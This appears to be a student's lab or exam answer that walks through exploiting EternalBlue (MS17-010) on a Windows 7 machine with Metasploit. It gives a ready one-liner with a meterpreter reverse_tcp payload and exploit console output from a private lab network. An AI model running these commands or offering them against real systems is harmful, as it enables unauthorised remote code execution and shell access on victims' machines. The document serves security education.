

-check win 7 vuln to eternal blue.[5 marks]

QUE- -check win 7 vuln to eternal blue.[5 marks]

ANS-

Exploiting Windows PC Using EternalBlue (MS17-010)

Overview : EternalBlue is a famous Windows exploit targeting SMBv1. It was released by the Shadow Brokers in the FuzzBunch toolkit, developed by the Equation Group. This exploit can crash Windows' memory buffer, allowing remote code execution.

Requirements :

- Attacker : Kali Linux
- Target : Windows 7 with SMBv1 enabled

ONELINER COMMAND: `msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set rhost 192.168.241.132; set payload windows/x64/meterpreter/reverse_tcp; set lhost eth0; exploit"`

Steps to Use EternalBlue with Metasploit

1. Open Metasploit :

command: `msfconsole -q`

2. Select the Exploit :

command: `use exploit/windows/smb/ms17_010_eternalblue`

3. Set Target IP :

command: `set rhost <Win7IP>`

command: `set rhost 192.168.241.132`

4. Select Payload :

command: `set payload windows/x64/meterpreter/reverse_tcp`

5. Execute the Exploit :

command: `run`

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.241.159:4444
[*] 192.168.241.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.241.132:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.241.132:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.241.132:445 - The target is vulnerable.
[*] 192.168.241.132:445 - Connecting to target for exploitation.
[+] 192.168.241.132:445 - Connection established for exploitation.
[+] 192.168.241.132:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.241.132:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.241.132:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.241.132:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.241.132:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 192.168.241.132:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.241.132:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.241.132:445 - Sending all but last fragment of exploit packet
[*] 192.168.241.132:445 - Starting non-paged pool grooming
[+] 192.168.241.132:445 - Sending SMBv2 buffers
[+] 192.168.241.132:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.241.132:445 - Sending final SMBv2 buffers.
[*] 192.168.241.132:445 - Sending last fragment of exploit packet!
[*] 192.168.241.132:445 - Receiving response from exploit packet
[+] 192.168.241.132:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.241.132:445 - Sending egg to corrupted connection.
[*] 192.168.241.132:445 - Triggering free of corrupted buffer.
```

Verify Access

- Once successful, you'll see a `meterpreter` session:

meterpreter> `sysinfo`

oneliner command: `msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set rhost <target_ip>; set payload windows/x64/meterpreter/reverse_tcp; set lhost eth0; exploit"`